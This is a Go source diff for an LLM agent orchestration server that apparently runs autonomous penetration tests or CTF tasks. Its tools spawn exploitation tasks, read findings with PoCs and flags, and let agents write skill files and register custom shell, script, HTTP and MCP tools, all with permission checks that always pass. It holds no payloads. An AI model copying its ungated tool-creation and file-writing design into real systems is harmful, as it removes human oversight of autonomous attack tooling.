||||
s.toolAddHint(),
|
||||
s.toolGetWorkerTrace(),
|
||||
s.toolListWorkerTraces(),
|
||||
s.toolSearchWorkerTraces(),
|
||||
}
|
||||
}
|
||||
|
||||
// --- schema helpers ---
|
||||
|
||||
func strParam(desc string) map[string]any {
|
||||
return map[string]any{"type": "string", "description": desc}
|
||||
}
|
||||
|
||||
// parseProfileID reads an LLM profile id from a tool arg that may arrive as a JSON
|
||||
// number (5) or a numeric string ("5"); returns 0 when absent/unparseable.
|
||||
func parseProfileID(raw json.RawMessage) int64 {
|
||||
if len(raw) == 0 {
|
||||
return 0
|
||||
}
|
||||
var n int64
|
||||
if json.Unmarshal(raw, &n) == nil {
|
||||
return n
|
||||
}
|
||||
var str string
|
||||
if json.Unmarshal(raw, &str) == nil {
|
||||
v, _ := strconv.ParseInt(strings.TrimSpace(str), 10, 64)
|
||||
return v
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func objSchema(props map[string]any, required ...string) map[string]any {
|
||||
m := map[string]any{"type": "object", "properties": props}
|
||||
if len(required) > 0 {
|
||||
req := make([]any, len(required))
|
||||
for i, r := range required {
|
||||
req[i] = r
|
||||
}
|
||||
m["required"] = req
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func roTool(name, desc string, schema map[string]any, run func(context.Context, json.RawMessage) (actool.Result, error)) actool.CoreTool {
|
||||
return actool.Build(actool.Spec{
|
||||
Name: name, Description: desc, Schema: schema,
|
||||
ReadOnly: func(json.RawMessage) bool { return true },
|
||||
Concurrent: func(json.RawMessage) bool { return true },
|
||||
Permissions: func(context.Context, json.RawMessage, permission.Context) permission.Decision {
|
||||
return permission.Allowed()
|
||||
},
|
||||
Run: func(ctx context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||
return run(ctx, in)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func wrTool(name, desc string, schema map[string]any, run func(context.Context, json.RawMessage) (actool.Result, error)) actool.CoreTool {
|
||||
return actool.Build(actool.Spec{
|
||||
Name: name, Description: desc, Schema: schema,
|
||||
Permissions: func(context.Context, json.RawMessage, permission.Context) permission.Decision {
|
||||
return permission.Allowed()
|
||||
},
|
||||
Run: func(ctx context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||
return run(ctx, in)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// delegateToTask resolves the `task_id` in the input, builds a ToolSet bound to
|
||||
// that task's store, strips task_id, and calls the chosen per-task tool — so the
|
||||
// cross-task read reuses the exact in-task logic against another task.
|
||||
func (s *Server) delegateToTask(ctx context.Context, in json.RawMessage, pick func(*agent.ToolSet) actool.CoreTool) (actool.Result, error) {
|
||||
var head struct {
|
||||
TaskID string `json:"task_id"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &head)
|
||||
if strings.TrimSpace(head.TaskID) == "" {
|
||||
return actool.Errorf("task_id 为必填"), nil
|
||||
}
|
||||
t, ok := s.m.Task(head.TaskID)
|
||||
if !ok {
|
||||
return actool.Errorf("task 不存在: " + head.TaskID), nil
|
||||
}
|
||||
var m map[string]json.RawMessage
|
||||
_ = json.Unmarshal(in, &m)
|
||||
delete(m, "task_id")
|
||||
inner, _ := json.Marshal(m)
|
||||
tsx := agent.NewToolSet(t.Store, "orchestrator")
|
||||
if s.m.Assets() != nil {
|
||||
tsx.SetAssetStore(s.m.Assets(), s.m.Assets().Companies())
|
||||
}
|
||||
tsx.SetNotify(t.Notify) // hint writes wake this task's planner (no-op for read tools)
|
||||
return pick(tsx).Call(ctx, inner, nil)
|
||||
}
|
||||
|
||||
// --- tools ---
|
||||
|
||||
func (s *Server) toolListTasks() actool.CoreTool {
|
||||
return roTool("list_tasks",
|
||||
"列出所有任务(id/描述/目标/状态/运行时长/父任务/LLM 配置)，编排 agent 用它掌握全局、看哪些任务卡太久、各自用哪个 LLM。运行时长：运行中=创建→现在，终态=创建→最后活动(秒)。llm_profile：任务 planner/worker 用的配置名，(激活配置)=跟随全局激活。",
|
||||
objSchema(map[string]any{}),
|
||||
func(context.Context, json.RawMessage) (actool.Result, error) {
|
||||
lastAct, _ := s.m.PG().LastActivityAll()
|
||||
// id -> name to resolve each task's pinned LLM profile.
|
||||
profName := map[int64]string{}
|
||||
if profs, err := s.m.pg.ListProfiles(); err == nil {
|
||||
for _, p := range profs {
|
||||
profName[p.ID] = p.Name
|
||||
}
|
||||
}
|
||||
out := make([]map[string]any, 0)
|
||||
for _, t := range s.m.List() {
|
||||
status := s.deriveTaskStatus(t)
|
||||
end := lastAct[t.ExpID]
|
||||
if live := s.engine.LastActivity(t.ID); live > end {
|
||||
end = live
|
||||
}
|
||||
dur := int64(0)
|
||||
if status == "running" {
|
||||
dur = time.Now().Unix() - t.CreatedAt
|
||||
} else if end > t.CreatedAt {
|
||||
dur = end - t.CreatedAt
|
||||
}
|
||||
row := map[string]any{"id": t.ID, "description": t.Description, "goal": t.Goal, "status": status, "run_seconds": dur}
|
||||
if t.ParentRef != "" {
|
||||
row["parent_ref"] = t.ParentRef
|
||||
}
|
||||
if t.LLMProfileID == nil {
|
||||
row["llm_profile"] = "(激活配置)"
|
||||
} else if n, ok := profName[*t.LLMProfileID]; ok {
|
||||
row["llm_profile"] = n
|
||||
} else {
|
||||
row["llm_profile"] = fmt.Sprintf("#%d(已删除)", *t.LLMProfileID)
|
||||
}
|
||||
out = append(out, row)
|
||||
}
|
||||
return jsonResult(out)
|
||||
})
|
||||
}
|
||||
|
||||
// toolListLLMProfiles lists the available LLM profiles (name/model/active) so an
|
||||
// orchestration agent can pick one for spawn_task's llm_profile. Never leaks keys.
|
||||
func (s *Server) toolListLLMProfiles() actool.CoreTool {
|
||||
return roTool("list_llm_profiles",
|
||||
"列出可用的 LLM 配置(profile)：id、名称、模型、格式、是否为当前激活配置。用 id 给 spawn_task 的 llm_profile_id 参数指定子任务专属 LLM（如侦察用便宜模型、利用用强模型）。不含 API Key。",
|
||||
objSchema(map[string]any{}),
|
||||
func(context.Context, json.RawMessage) (actool.Result, error) {
|
||||
profs, err := s.m.pg.ListProfiles()
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
out := make([]map[string]any, 0, len(profs))
|
||||
for _, p := range profs {
|
||||
out = append(out, map[string]any{
|
||||
"id": p.ID, "name": p.Name, "model": p.Model, "format": p.Format, "is_active": p.IsDefault,
|
||||
})
|
||||
}
|
||||
return jsonResult(map[string]any{"profiles": out})
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolSpawnTask() actool.CoreTool {
|
||||
return wrTool("spawn_task",
|
||||
"新建一个子任务并启动探索引擎，返回 task_id。用于把一件事(如一道题/一个目标)派成独立任务。parent_ref 可选：填当前编排关联的父任务 id 做父子关联。",
|
||||
objSchema(map[string]any{
|
||||
"description": strParam("任务描述(简短标题)"),
|
||||
"goal": strParam("任务目标(要达成什么)"),
|
||||
"parent_ref": strParam("可选：父任务 id(做父子关联)"),
|
||||
"llm_profile_id": map[string]any{"type": "integer", "description": "可选：指定本子任务 planner/worker 用的 LLM 配置 id(见 list_llm_profiles)；留空则继承父任务、再回退全局激活配置"},
|
||||
"timeout_seconds": map[string]any{"type": "integer", "description": "可选：任务级超时(秒)。到点后触发优雅收尾并进入 timeout 终态；留空或 0 = 不限时"},
|
||||
}, "description", "goal"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a struct {
|
||||
Description, Goal, ParentRef string
|
||||
LLMProfileID json.RawMessage `json:"llm_profile_id"`
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if strings.TrimSpace(a.Description) == "" {
|
||||
a.Description = "未命名任务"
|
||||
}
|
||||
if strings.TrimSpace(a.Goal) == "" {
|
||||
return actool.Errorf("goal 为必填"), nil
|
||||
}
|
||||
if a.TimeoutSeconds < 0 {
|
||||
a.TimeoutSeconds = 0
|
||||
}
|
||||
// LLM profile resolution: explicit id > inherit parent's pin > active(nil).
|
||||
var pin *int64
|
||||
if id := parseProfileID(a.LLMProfileID); id > 0 {
|
||||
if _, ok := s.loadProfileConfig(id); !ok {
|
||||
return actool.Errorf(fmt.Sprintf("LLM 配置 #%d 不存在或未设置 API Key", id)), nil
|
||||
}
|
||||
pin = &id
|
||||
} else if a.ParentRef != "" {
|
||||
if pt, ok := s.m.Task(a.ParentRef); ok {
|
||||
pin = pt.LLMProfileID
|
||||
}
|
||||
}
|
||||
t, err := s.m.CreateTask(a.Description, a.Goal, pin, a.TimeoutSeconds)
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
if a.ParentRef != "" {
|
||||
t.ParentRef = a.ParentRef
|
||||
if id, e := strconv.ParseInt(t.ID, 10, 64); e == nil {
|
||||
_ = s.m.PG().SetParentRef(id, a.ParentRef)
|
||||
}
|
||||
}
|
||||
s.seed(t, a.Description+" "+a.Goal) // seed 初始资产，喂给事件驱动 loop
|
||||
s.createGoals(s.ctx, t, nil) // 目标分解(LLM;规则兜底)
|
||||
s.engine.Run(s.ctx, t) // 启动该任务的探索引擎
|
||||
return actool.Text(fmt.Sprintf("task created: %s", t.ID)), nil
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolPauseTask() actool.CoreTool {
|
||||
return wrTool("pause_task", "暂停指定任务(停止其 planner/worker 循环)。",
|
||||
objSchema(map[string]any{"task_id": strParam("要暂停的任务 id")}, "task_id"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a struct {
|
||||
TaskID string `json:"task_id"`
|
||||
}
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if _, ok := s.m.Task(a.TaskID); !ok {
|
||||
return actool.Errorf("task 不存在: " + a.TaskID), nil
|
||||
}
|
||||
s.engine.Pause(a.TaskID)
|
||||
return actool.Text("task paused: " + a.TaskID), nil
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolGetTaskGraph() actool.CoreTool {
|
||||
return roTool("get_task_graph", "读指定任务的探索图总览(同 graph_overview：资产计数/frontier/发现/覆盖等)，用 task_id 指定任务。",
|
||||
objSchema(map[string]any{"task_id": strParam("任务 id")}, "task_id"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).GraphOverviewTool)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolListTaskFindings() actool.CoreTool {
|
||||
return roTool("list_task_findings", "读指定任务的确认漏洞(含 flag/PoC；每条带 id/task_id/intent_id/vulnclass/severity/摘要/状态)，用 task_id 指定任务。",
|
||||
objSchema(map[string]any{"task_id": strParam("任务 id")}, "task_id"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).ListFindingsTool)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolAddHint() actool.CoreTool {
|
||||
return wrTool("add_task_hint", "给指定任务注入战略提示(该任务的 planner 下轮生成意图时会读到)。\n"+
|
||||
"★优先批量：多条提示放进 hints 数组一次提交（返回 ids 数组，与 hints 等长同序，失败项 id=0）；单条则省略 hints 直接给顶层 text。",
|
||||
objSchema(map[string]any{
|
||||
"task_id": strParam("任务 id"),
|
||||
"hints": map[string]any{"type": "array", "description": "【优先用这个】提示数组，每个元素字段同顶层（text/asset_ids）。", "items": map[string]any{"type": "object"}},
|
||||
"text": strParam("[单条] 提示内容"),
|
||||
"asset_ids": map[string]any{"type": "array", "items": map[string]any{"type": "integer"}, "description": "锚定的资产 id（可选，0/1/多个；该任务内的资产 id）"},
|
||||
}, "task_id"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).AddHintTool)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolGetWorkerTrace() actool.CoreTool {
|
||||
return roTool("get_task_worker_trace",
|
||||
"看指定任务里某个 work(意图)的执行过程：get_task_worker_trace(task_id, intent_id) 看步骤摘要；再带 step_ids=[...] 取那几步完整内容(一次≤5)。",
|
||||
objSchema(map[string]any{
|
||||
"task_id": strParam("任务 id"),
|
||||
"intent_id": map[string]any{"type": "integer", "description": "意图 id(该任务里的 work)"},
|
||||
"step_ids": map[string]any{"type": "array", "items": map[string]any{"type": "integer"}, "description": "可选：要取完整内容的步骤 id(≤5)"},
|
||||
}, "task_id", "intent_id"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).GetWorkerTraceTool)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolListWorkerTraces() actool.CoreTool {
|
||||
return roTool("list_task_worker_traces", "列出指定任务里跑过哪些 work(意图) + 各自步数，用于发现哪些 work 值得翻看(再用 get_task_worker_trace)。",
|
||||
objSchema(map[string]any{"task_id": strParam("任务 id")}, "task_id"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).ListWorkerTracesTool)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolSearchWorkerTraces() actool.CoreTool {
|
||||
return roTool("search_task_worker_traces", "在指定任务里按关键字搜索所有 work 的执行过程(返回命中步骤摘要 + intent_id)。",
|
||||
objSchema(map[string]any{"task_id": strParam("任务 id"), "q": strParam("搜索关键字")}, "task_id", "q"),
|
||||
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
return s.delegateToTask(ctx, in, (*agent.ToolSet).SearchWorkerTracesTool)
|
||||
})
|
||||
}
|
||||
|
||||
// deriveTaskStatus mirrors listTasks' status derivation for the list_tasks tool.
|
||||
func (s *Server) deriveTaskStatus(t *Task) string {
|
||||
switch {
|
||||
case isTerminalStatus(t.Status):
|
||||
return t.Status
|
||||
case t.Paused || s.engine.IsPaused(t.ID):
|
||||
return "paused"
|
||||
case s.engine.Ready() && s.engine.Started(t.ID):
|
||||
return "running"
|
||||
}
|
||||
return "created"
|
||||
}
|
||||
|
||||
// orchestrationToolSeeds seeds the cross-task tools into the tools table so they
|
||||
// are bindable per-agent (default: bound to nobody — opt-in for orchestration
|
||||
// agents). First-insert only, like the traffic seeds.
|
||||
func (s *Server) seedOrchestrationTools() {
|
||||
// task-op + platform tools default-bind to the built-in Auto agent (它天生用来
|
||||
// 操作平台)。SeedTool 首插入生效;老库已 seed 的行由 seedAutoDefaultBindings 补绑。
|
||||
autoAgents, _ := json.Marshal([]string{"auto"})
|
||||
for _, t := range s.orchestrationTools() {
|
||||
schema, _ := json.Marshal(t.InputSchema())
|
||||
_ = s.m.PG().SeedTool(t.Name(), t.Description(), schema, autoAgents)
|
||||
}
|
||||
for _, t := range s.platformTools() {
|
||||
schema, _ := json.Marshal(t.InputSchema())
|
||||
_ = s.m.PG().SeedTool(t.Name(), t.Description(), schema, autoAgents)
|
||||
}
|
||||
s.refreshBuiltinToolSchemas()
|
||||
s.seedAutoDefaultBindings()
|
||||
s.seedPlannerDefaultBindings()
|
||||
s.seedAutoReportFindingBinding()
|
||||
// 注：pentest 的默认工具绑定无需迁移——BuiltinToolSeeds 在全新初始化时就把
|
||||
// list_assets/insert_assets/report_finding/list_findings/list_companies 连同
|
||||
// pentest 一起 seed 好了（项目尚无旧库，不做迁移）。
|
||||
}
|
||||
|
||||
// refreshBuiltinToolSchemas propagates code schema/description changes on the
|
||||
// orchestration + platform tools into already-seeded rows ONCE per version flag —
|
||||
// SeedTool is first-insert-only, so a new param (e.g. spawn_task 的 llm_profile) never
|
||||
// reaches an old DB otherwise. Preserves each tool's agent binding + enabled flag.
|
||||
// Bump the flag whenever these tools' schemas/descriptions change in code.
|
||||
func (s *Server) refreshBuiltinToolSchemas() {
|
||||
const flag = "tool_schema_refresh_v4_goal_met_desc"
|
||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||
return
|
||||
}
|
||||
tools := append(s.orchestrationTools(), s.platformTools()...)
|
||||
for _, t := range tools {
|
||||
schema, _ := json.Marshal(t.InputSchema())
|
||||
if err := s.m.pg.RefreshToolDefaults(t.Name(), t.Description(), schema); err != nil {
|
||||
log.Printf("[tools] refresh %s schema failed: %v", t.Name(), err)
|
||||
}
|
||||
}
|
||||
// 同时把 planner 的 goal_met 描述刷成代码默认：旧库 seed 的描述带“结束本轮规划”的
|
||||
// 误导，会让 planner 把 goal_met 当成“结束空轮”的手段、刚开跑就误判整个任务完成。
|
||||
for _, sd := range agent.BuiltinToolSeeds() {
|
||||
if sd.Key != "goal_met" {
|
||||
continue
|
||||
}
|
||||
schema, _ := json.Marshal(sd.Schema)
|
||||
if err := s.m.pg.RefreshToolDefaults(sd.Key, sd.Desc, schema); err != nil {
|
||||
log.Printf("[tools] refresh %s desc failed: %v", sd.Key, err)
|
||||
}
|
||||
}
|
||||
_ = s.m.pg.SetSetting(flag, "true")
|
||||
log.Printf("[tools] 已刷新 orchestration/platform 工具 schema 到代码默认(一次性)")
|
||||
}
|
||||
|
||||
// seedAutoReportFindingBinding adds "auto" to report_finding's binding ONCE so
|
||||
// conversation-context agents can call it without requiring an intent_id.
|
||||
func (s *Server) seedAutoReportFindingBinding() {
|
||||
const flag = "auto_report_finding_v1"
|
||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||
return
|
||||
}
|
||||
if err := s.m.pg.AddAgentToToolBinding("auto", []string{"report_finding"}); err != nil {
|
||||
log.Printf("[auto] report_finding 默认绑定失败: %v", err)
|
||||
return
|
||||
}
|
||||
_ = s.m.pg.SetSetting(flag, "true")
|
||||
}
|
||||
|
||||
// seedPlannerDefaultBindings adds "planner" to report_finding's binding ONCE
|
||||
// (guarded by a settings flag), so existing DBs — whose report_finding row was
|
||||
// seeded as worker-only — also let the planner record findings. Fresh DBs already
|
||||
// get it via PlannerTools(); this only backfills without overriding a user unbind.
|
||||
func (s *Server) seedPlannerDefaultBindings() {
|
||||
const flag = "planner_report_finding_v1"
|
||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||
return
|
||||
}
|
||||
if err := s.m.pg.AddAgentToToolBinding("planner", []string{"report_finding"}); err != nil {
|
||||
log.Printf("[planner] report_finding 默认绑定失败: %v", err)
|
||||
return
|
||||
}
|
||||
_ = s.m.pg.SetSetting(flag, "true")
|
||||
}
|
||||
|
||||
// seedAutoDefaultBindings adds "auto" to the task-op + platform tools' bindings
|
||||
// ONCE (guarded by a settings flag), so existing DBs whose tool rows were seeded
|
||||
// before Auto existed still give Auto its default toolset — without re-adding it
|
||||
// after a user deliberately unbinds.
|
||||
func (s *Server) seedAutoDefaultBindings() {
|
||||
const flag = "auto_default_bindings_v3" // v3: 替换旧资产工具名，加入 insert_assets/add_company_scope
|
||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||
return
|
||||
}
|
||||
keys := make([]string, 0, len(platformToolKeys)+12)
|
||||
for _, t := range s.orchestrationTools() {
|
||||
keys = append(keys, t.Name())
|
||||
}
|
||||
keys = append(keys, platformToolKeys...)
|
||||
// 资产工具：Auto 操作平台常要看/登记资产、管理公司范围。
|
||||
keys = append(keys, "insert_assets", "add_company_scope", "list_assets")
|
||||
if err := s.m.pg.AddAgentToToolBinding("auto", keys); err != nil {
|
||||
log.Printf("[auto] 默认绑定失败: %v", err)
|
||||
return
|
||||
}
|
||||
_ = s.m.pg.SetSetting(flag, "true")
|
||||
}
|
||||
@@ -0,0 +1,277 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
actool "github.com/Autumn-27/norma/tool"
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// 平台操作工具(给内置 Auto agent 用):建/改 skill、自定义工具、MCP。都是 host 工具,
|
||||
// seed 进 tools 表、默认绑定 auto,经 hostTools 注入。复用现有 db/文件系统逻辑。
|
||||
|
||||
func (s *Server) platformTools() []actool.CoreTool {
|
||||
return []actool.CoreTool{
|
||||
s.toolCreateSkill(),
|
||||
s.toolUpdateSkillFile(),
|
||||
s.toolCreateCustomTool(),
|
||||
s.toolUpdateCustomTool(),
|
||||
s.toolCreateMCP(),
|
||||
s.toolUpdateMCP(),
|
||||
}
|
||||
}
|
||||
|
||||
// platformToolKeys are the tool keys the Auto agent gets bound by default.
|
||||
var platformToolKeys = []string{
|
||||
"create_skill", "update_skill_file",
|
||||
"create_custom_tool", "update_custom_tool",
|
||||
"create_mcp", "update_mcp",
|
||||
}
|
||||
|
||||
// ---- skills ----
|
||||
|
||||
func (s *Server) toolCreateSkill() actool.CoreTool {
|
||||
return wrTool("create_skill",
|
||||
"创建一个新 skill(写 SKILL.md，agentskills.io 规范)。name 小写字母/数字/连字符。",
|
||||
objSchema(map[string]any{
|
||||
"name": strParam("skill 名(小写字母开头，字母/数字/连字符)"),
|
||||
"description": strParam("skill 描述(必填，说明它做什么/何时用)"),
|
||||
"instructions": strParam("Markdown 正文说明(可选)"),
|
||||
}, "name", "description"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a struct{ Name, Description, Instructions string }
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if !validSkillName(a.Name) {
|
||||
return actool.Errorf("skill 名不合法(小写字母开头，仅字母/数字/连字符，≤64)"), nil
|
||||
}
|
||||
if strings.TrimSpace(a.Description) == "" {
|
||||
return actool.Errorf("description 必填"), nil
|
||||
}
|
||||
path := filepath.Join(s.skillDir, a.Name)
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
return actool.Errorf("skill 已存在: " + a.Name), nil
|
||||
}
|
||||
if err := os.MkdirAll(path, 0o755); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("---\n")
|
||||
fmt.Fprintf(&b, "name: %s\n", a.Name)
|
||||
fmt.Fprintf(&b, "description: %s\n", a.Description)
|
||||
b.WriteString("---\n")
|
||||
if strings.TrimSpace(a.Instructions) != "" {
|
||||
b.WriteString(a.Instructions)
|
||||
} else {
|
||||
fmt.Fprintf(&b, "## %s\n\n1. \n2. \n3. \n", a.Name)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte(b.String()), 0o644); err != nil {
|
||||
_ = os.RemoveAll(path)
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text("skill created: " + a.Name), nil
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolUpdateSkillFile() actool.CoreTool {
|
||||
return wrTool("update_skill_file",
|
||||
"写/覆盖某个 skill 内的一个文件(默认 SKILL.md)。用于修改技能内容或加脚本/引用。",
|
||||
objSchema(map[string]any{
|
||||
"name": strParam("skill 名"),
|
||||
"file": strParam("相对路径(可选，默认 SKILL.md，如 scripts/run.py)"),
|
||||
"content": strParam("文件完整内容"),
|
||||
}, "name", "content"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a struct{ Name, File, Content string }
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if !validSkillName(a.Name) {
|
||||
return actool.Errorf("skill 名不合法"), nil
|
||||
}
|
||||
skillPath := filepath.Join(s.skillDir, a.Name)
|
||||
if _, err := os.Stat(skillPath); os.IsNotExist(err) {
|
||||
return actool.Errorf("skill 不存在: " + a.Name), nil
|
||||
}
|
||||
rel := strings.TrimSpace(a.File)
|
||||
if rel == "" {
|
||||
rel = "SKILL.md"
|
||||
}
|
||||
clean, msg := skillRelPath(rel)
|
||||
if msg != "" {
|
||||
return actool.Errorf("非法路径: " + msg), nil
|
||||
}
|
||||
full := filepath.Join(skillPath, clean)
|
||||
if err := os.MkdirAll(filepath.Dir(full), 0o755); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
if err := os.WriteFile(full, []byte(a.Content), 0o644); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text("skill file written: " + a.Name + "/" + clean), nil
|
||||
})
|
||||
}
|
||||
|
||||
// ---- custom tools ----
|
||||
|
||||
type customToolToolInput struct {
|
||||
Key string `json:"key"`
|
||||
Description string `json:"description"`
|
||||
Kind string `json:"kind"`
|
||||
Exec json.RawMessage `json:"exec"`
|
||||
Schema json.RawMessage `json:"schema"`
|
||||
Agents []string `json:"agents"`
|
||||
Deferred bool `json:"deferred"`
|
||||
Enabled *bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func customToolSchema(keyDesc string) map[string]any {
|
||||
return objSchema(map[string]any{
|
||||
"key": strParam(keyDesc),
|
||||
"description": strParam("发给模型的描述"),
|
||||
"kind": strParam("shell | command | script(仅Python) | http。shell=bash 环境声明(仅告知模型该工具可在 bash 中直接调用，无需 exec/schema)；其余三种需提供 exec"),
|
||||
"exec": map[string]any{"type": "object", "description": "执行规格(shell 类型不需要): command→{command}; script→{code}; http→{method,url,headers,body,proxy,use_recording_proxy}"},
|
||||
"schema": map[string]any{"type": "object", "description": "参数 JSON-Schema(shell/command/script 可留空; http 必填且需含 properties)"},
|
||||
"agents": map[string]any{"type": "array", "items": map[string]any{"type": "string"}, "description": "绑定的 agent key(可选)"},
|
||||
"deferred": map[string]any{"type": "boolean", "description": "是否延迟(shell 类型无效；仅 command/script/http 的不常用工具才开)"},
|
||||
"enabled": map[string]any{"type": "boolean", "description": "是否启用(默认 true)"},
|
||||
}, "key", "kind")
|
||||
}
|
||||
|
||||
func toDBTool(a customToolToolInput) *db.Tool {
|
||||
enabled := true
|
||||
if a.Enabled != nil {
|
||||
enabled = *a.Enabled
|
||||
}
|
||||
return &db.Tool{
|
||||
Key: a.Key, Description: a.Description, Schema: a.Schema, Agents: a.Agents,
|
||||
Enabled: enabled, Kind: a.Kind, Exec: a.Exec, Deferred: a.Deferred,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) toolCreateCustomTool() actool.CoreTool {
|
||||
return wrTool("create_custom_tool", "创建一个自定义工具(shell/command/script/http)。shell=bash 环境声明，只需 key+description+agents，无需 exec/schema。",
|
||||
customToolSchema("工具 key(小写字母开头，字母/数字/下划线)"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a customToolToolInput
|
||||
_ = json.Unmarshal(in, &a)
|
||||
a.Key = strings.TrimSpace(a.Key)
|
||||
if !reToolKey.MatchString(a.Key) {
|
||||
return actool.Errorf("key 需小写字母开头，仅含小写字母/数字/下划线"), nil
|
||||
}
|
||||
if a.Kind != "shell" && a.Kind != "command" && a.Kind != "script" && a.Kind != "http" {
|
||||
return actool.Errorf("kind 需为 shell / command / script / http"), nil
|
||||
}
|
||||
if a.Kind == "http" && !hasSchemaProps(a.Schema) {
|
||||
return actool.Errorf("http 工具必须提供参数 JSON Schema(不能留空)"), nil
|
||||
}
|
||||
if exist, _ := s.m.pg.GetTool(a.Key); exist != nil {
|
||||
return actool.Errorf("该 key 已存在: " + a.Key), nil
|
||||
}
|
||||
if err := s.m.pg.CreateCustomTool(toDBTool(a)); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text("custom tool created: " + a.Key), nil
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolUpdateCustomTool() actool.CoreTool {
|
||||
return wrTool("update_custom_tool", "修改一个已有的自定义工具(按 key)。",
|
||||
customToolSchema("要修改的自定义工具 key"),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a customToolToolInput
|
||||
_ = json.Unmarshal(in, &a)
|
||||
existing, _ := s.m.pg.GetTool(a.Key)
|
||||
if existing == nil || existing.System {
|
||||
return actool.Errorf("只能修改自定义工具: " + a.Key), nil
|
||||
}
|
||||
if a.Kind != "shell" && a.Kind != "command" && a.Kind != "script" && a.Kind != "http" {
|
||||
return actool.Errorf("kind 需为 shell / command / script / http"), nil
|
||||
}
|
||||
if a.Kind == "http" && !hasSchemaProps(a.Schema) {
|
||||
return actool.Errorf("http 工具必须提供参数 JSON Schema(不能留空)"), nil
|
||||
}
|
||||
if err := s.m.pg.UpdateCustomTool(toDBTool(a)); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text("custom tool updated: " + a.Key), nil
|
||||
})
|
||||
}
|
||||
|
||||
// ---- MCP ----
|
||||
|
||||
type mcpToolInput struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Transport string `json:"transport"`
|
||||
Command string `json:"command"`
|
||||
Args json.RawMessage `json:"args"`
|
||||
Env json.RawMessage `json:"env"`
|
||||
URL string `json:"url"`
|
||||
Enabled *bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func mcpSchema(withID bool) map[string]any {
|
||||
props := map[string]any{
|
||||
"name": strParam("MCP 服务器名"),
|
||||
"transport": strParam("stdio | http / sse"),
|
||||
"command": strParam("stdio 的启动命令(如 npx)"),
|
||||
"args": map[string]any{"type": "array", "items": map[string]any{"type": "string"}, "description": "命令参数数组"},
|
||||
"env": map[string]any{"type": "object", "description": "环境变量 {KEY:VALUE}"},
|
||||
"url": strParam("http/sse 的 URL"),
|
||||
"enabled": map[string]any{"type": "boolean", "description": "是否启用(默认 true)"},
|
||||
}
|
||||
required := []string{"name", "transport"}
|
||||
if withID {
|
||||
props["id"] = map[string]any{"type": "integer", "description": "要修改的 MCP 服务器 id"}
|
||||
required = []string{"id", "name", "transport"}
|
||||
}
|
||||
return objSchema(props, required...)
|
||||
}
|
||||
|
||||
